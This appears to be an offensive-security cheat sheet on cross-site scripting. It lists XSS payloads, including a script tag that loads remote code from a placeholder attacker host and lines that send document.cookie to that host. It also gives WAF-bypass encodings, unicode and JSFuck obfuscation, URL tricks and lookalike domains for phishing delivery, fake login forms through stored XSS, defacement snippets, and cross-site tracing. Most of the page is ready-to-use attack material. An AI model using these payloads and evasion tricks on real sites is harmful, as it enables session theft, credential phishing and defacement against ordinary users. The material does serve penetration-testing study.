Cross Site Scripting (XSS)
Last updated
Was this helpful?
Last updated
Was this helpful?
Cross-Site Scripting (XSS) is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application. XSS normally allows an attacker to masquerade as a victim user, carrying out any actions that the user is able to perform and accessing any of the user's data. Source:
<script>alert(window.origin)</script>
Basic XSS Payload
<plaintext>
Basic XSS Payload
<script>print()</script>
Basic XSS Payload
<img src="" onerror=alert(window.origin)>
HTML-based XSS Payload
<script src="http://OUR_IP/script.js"></script>
Load remote script
<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie</script>
Send Cookie details to us
Web Application Firewalls (WAFs) inspect requests, analyse payloads, and apply predefined rule sets to identify and block any malicious traffic.
WAFs can protect web applications by leveraging various techniques such as signature-based pattern matching, behaviour analysis, and anomaly detection.
This section focuses on different methods which could help you bypassing XSS filters, whether they are in place due to the web application's implementation or due to a Web Application Firewall. If you are not sure whether the web application is protected by a WAF, some basic fingerprinting checks you can perform are the following:
Check if there are cookie values set by the WAF
Example: F5 BIG-IP ASM
releases cookies starting with TS
Server
headers or any other uncommon header
Sometimes, the HTTP body contains some hints about the WAF in place.
If alert()
is filtered, a valid (and less filtered) alternative is confirm()
You can close tags using //
rather than >
Sometimes, you can access DOM Objects by just specifying their name.
Instead of using document.cookie
and document.domain
you can use cookie
and domain
respectively.
http(s)://
can be shortened to //
or /\\
or \\
.
Quotes are not required as long as you are not using spaces. For example you can use <img src=http://example.com
without specifying any quotes.
If all HTML tags are filtered, you can sometimes use custom ones, for example:
<22>alert()</22>
If your characters are being filtered, a good starting point is trying the following alternative encodings
"
"
"
\u0022
u+0022
\0022
\42
%22
#
#
#
\u0023
u+0023
\0023
\43
%23
$
$
$
\u0024
u+0024
\0024
\44
%24
%
%
%
\u0025
u+0025
\0025
\45
%25
&
&
&
\u0026
u+0026
\0026
\46
%26
'
'
'
\u0027
u+0027
\0027
\47
%27
(
(
(
\u0028
u+0028
\0028
\50
%28
)
)
)
\u0029
u+0029
\0029
\51
%29
*
*
*
\u002a
u+002A
\002a
\52
%2A
+
+
+
\u002b
u+002B
\002b
\53
%2B
,
,
,
\u002c
u+002C
\002c
\54
%2C
-
−
-
\u002d
u+002D
\002d
\55
%2D
.
.
.
\u002e
u+002E
\002e
\56
%2E
/
/
/
\u002f
u+002F
\002f
\57
%2F
:
:
:
\u003a
u+003A
\003a
\72
%3A
;
;
;
\u003b
u+003B
\003b
\73
%3B
<
<
<
\u003c
u+003C
\003c
\74
%3C
=
=
=
\u003d
u+003D
\003d
\75
%3D
>
>
>
\u003e
u+003E
\003e
\76
%3E
?
?
?
\u003f
u+003F
\003f
\77
%3F
@
@
@
\u0040
u+0040
\0040
\100
%40
[
[
[
\u005b
u+005B
\005b
\133
%5B
\
\
\
\u005c
u+005C
\005c
\134
%5C
]
]
]
\u005d
u+005D
\005d
\135
%5D
^
^
^
\u005e
u+005E
\005e
\136
%5E
_
_
_
\u005f
u+005F
\005f
\137
%5F
`
`
`
\u0060
u+0060
\0060
\u0060
%60
{
{
{
\u007b
u+007b
\007b
\173
%7b
|
|
|
\u007c
u+007c
\007c
\174
%7c
}
}
}
\u007d
u+007d
\007d
\175
%7d
If alert('xss')
or alert(1)
are filtered, try using:
prompt('xss')
or prompt(1)
confirm('xss')
or confirm(1)
alert(/xss/.source)
windows/alert/.source
If onerror=alert(1)
is filtered, try using:
onload=alert(1)
onfocus=alert(1)
combined with autofocus=true
setTimeout(alert(1))
setInterval(alert(1))
Function(alert(1))()
setImmediate(alert(1))
[notice that this only works on IE 10+]
If an img payload such as <img src=x onerror=alert(1)>
is filtered, try using:
<svg/onload=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
You can bypass many blacklist-based filters by using Base64-encoded payloads.
Generally speaking, you can generate the Base64-encoding of any payload and use it inside the atob
JavaScript function. In particular, just use
atob("<BASE64-PAYLOAD-ENCODING>")
You could also use other base64 encoded payloads such as the following alternative to javascript:alert('XSS')
: data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
Some filters can be bypassed by using the JavaScript Unicode escape sequences to represent any blacklisted word or character.
For example, if alert
is blacklisted, you can use \u0061lert
, where \u0061
is the Unicode escape sequence for the lowercase letter a
.
A valid payload to bypass the previous blacklist example is: <script>\u0061lert(document.cookie)</script>
To represent the character ‘a’ using a Unicode escape sequence, you would use \u0061 because the Unicode code point for 'A' is 0x61 in hexadecimal.
You can use the following JavaScript code in your browser’s console to quickly gain the unicode values you need
Unicode normalization is a process that ensures different binary representations of characters are standardized to the same binary value. This process is crucial in dealing with strings in programming and data processing
Depending on how the back-end/front-end is behaving when it receives weird unicode characters an attacker might be able to bypass protections and inject arbitrary characters. Indeed, sometimes, unicode normalization even allows bypassing WAFs in place.
Two lists of unicode normalized characters can be found at:
If you prefer, you can also find a list of copy-paste unicode normalized characters below:
<
%EF%BC%9C
>
%EF%BC%9E
≮
%e2%89%ae
≮
﹤
%ef%b9%a4 ﹤
<
%ef%bc%9c <
≯
%e2%89%af ≯
﹥
%ef%b9%a5 ﹥
>
%ef%bc%9e >
'
%ef%bc%87
"
%ef%bc%82
=
%e2%81%bc
/
%ef%bc%8f
JSFuck is an esoteric JavaScript programming language that only uses the following 6 characters to write any JavaScript code: []()!+
The following represents an alert(1)
payload written in JSFuck
Exploiting XSS vulnerabilities requires users to land on the vulnerable URL, meaning that you will need to use some degree of social engineering to correctly deliver the URL containing your payload.
The URL obfuscation techniques in this section can be handy in bypassing a filtered system, or to just shorten the vector to respect a length limit.
You can use known URL shorteners (or host your own) to basically hide the malicious link you are pointing to.
Since this technique has started to spread as an attack vector to send links to malicious resources, some service providers have implemented features to preview where the shortened links points.
You can use shorteners such as:
UserInfo is a subcomponent used to specify the credentials to authenticate to a specified resource. If the resource requires no authentication, this subcomponent is ignored by both the browser and the server.
Not all browsers freely allow using the UserInfo subcomponent:
Firefox and Opera show alert messages to notify the user.
Google Chrome allows this behaviour silently!
The UserInfo subcomponent is normally used as follows:
username:password@google.com
You can obfuscate your malicious URL by using a trusty-looking userinfo value such as www.google.com:searchqwhatever@google.com
Also notice that userinfo allows UniCode characters!
An example is: 위키백과:대문:위키백과:대문@google.com
You can obfuscate the host subcomponent by using different alternative representations for it. Rather than using the standard hostname or dotted-decimal IP representations, you can use the following alternatives.
It is also possible to mix the representations below to make an hybrid. Also, this tool can help you generating the alternative representations quicker: http://www.silisoftware.com/tools/ipconverter.php
The IP address is translated in an equivalent 16bit number.
For example, one of Google's IP addresses (216.58.215.78) can be translated to 3627734862, meaning that it can be accessed using http://3627734862
.
To obtain the DWORD for a target IP (192.168.1.1 in the example), use the following JavaScript oneliner in a browser
An IP address can also be represented in Octal form by converting the IP to base8.
The result, still using Google's IP is: http://0330.0072.0327.0116
We can also "feed" each number by adding leading zeroes without break the original value as follows: http://0000000330.0000000072.0000000327.000000116 This extra case, however, does not work in Internet Explorer.
To obtain the Octal for a target IP (192.168.1.1 in the example), use the following JavaScript oneliner in a browser
An IP address can also be represented in Hexadecimal form by converting the IP to base16.
The result, still using Google's IP is: http://0xd83ad74e
Each number can also be separated like this:
http://0xd8.0x3a.0xd7.0x4e
To obtain the Hexadecimal for a target IP (192.168.1.1 in the example), use the following JavaScript oneliner in a browser:
You can use tabs (&Tab
;) and newlines (

) in JavaScript to bypass some WAFs or blacklists. The following is a basic payload to bypass a blacklist on the word javascript:
Other more complex payloads using this technique:
Whenever you are facing a web application which is vulnerable to Open Redirects, it might also be the case that the same vector can be used to gain XSS.
An example might be a website which allows for open redirects by leveraging a GET parameter, such as the following: vulnerable.com/test.php?redirect_url={value}
Instead of using the standard http or https protocols followed by your attacker website, you might insert a javascript
payload as the value
of the redirect_url
parameter.
For example, you could navigate to the following URL to pop an alert:
vulnerable.com/test.php?redirect_url=javascript:alert(document.domain)
Use the following XSS Payload: <script src=http://OUR_IP/script.js></script>
On the attacker machine, write one of the following payload inside a file named script.js
:
new Image().src='http://OUR_IP/index.php?c='+document.cookie
document.location='http://OUR_IP/index.php?c='+document.cookie;
After that, you can use tools such as urlcrazy
to generate domain names similar to the one you are trying to target via the commandline, e.g. you can just use urlcrazy www.example.com
to generate all the useful, similar domain names for phishing attempts
Another form of XSS phishing can be obtained by leveraging stored XSS vulnerabilities to inject a fake login form that sends the credentials to our attacker server
Defacing means changing the website's appearance for anyone who visits the website
The website's appearance can be changed using injected Javascript code
Note: This requires a stored XSS Vulnerability
<script>document.body.style.background = "#141d2b"</script>
Change website background color
<script>document.body.background = "https://example.com/images/logo.svg"</script>
Change website background image
<script>document.title = 'New Title'</script>
Change website title
document.getElementById("todo").innerHTML = "New Text"
Change HTML element/DOM text using innerHTML
If you can inject a malicious base tag (or itrs URL), then all relative paths defined inside the injected HTML page will refer to the base URL defined inside it.
Considering that many pages will include JavaScript files using relative URLs, you might be able to obtain an XSS from this HTML injection attack.
A basic example is the following:
A Cross-Site Tracing (XST) attack involves the use of Cross-site Scripting (XSS) and the TRACE or TRACK HTTP methods.
Using XST, an attacker can steal user’s cookies even if they have the “HttpOnly” flag, as the TRACE method will reflect back the input user’s request, revealing any Cookies or Authorization header.
This technique is quite old: modern browsers typically block the HTTP TRACE method inside scripting languages and libraries. The only way to effectively leverage XST is to use existing alternatives to JavaScript such as Java
Use automated tools, such as
Many more infos and WAF fingerprinting techniques can be found here:
You can find find a great article about this topic here:
I made a tool to help converting characters to their corresponding unicode normalized value, which I suggest to anyone. You can find my helper tool to perform Unicode Normalization here:
The (very) basic idea behind JSFuck is that you can recreate all JavaScript functionalities using such a limited set of characters because JavaScript is a weakly typed programming language, meaning that it allows the evaluation of any expression as any type. If you want to know more about its inner workings, check out this .
Link: GitHub Repo:
You can use wget or other tools such as to clone a website's content.
OWASP provides several about this attack that you can check out.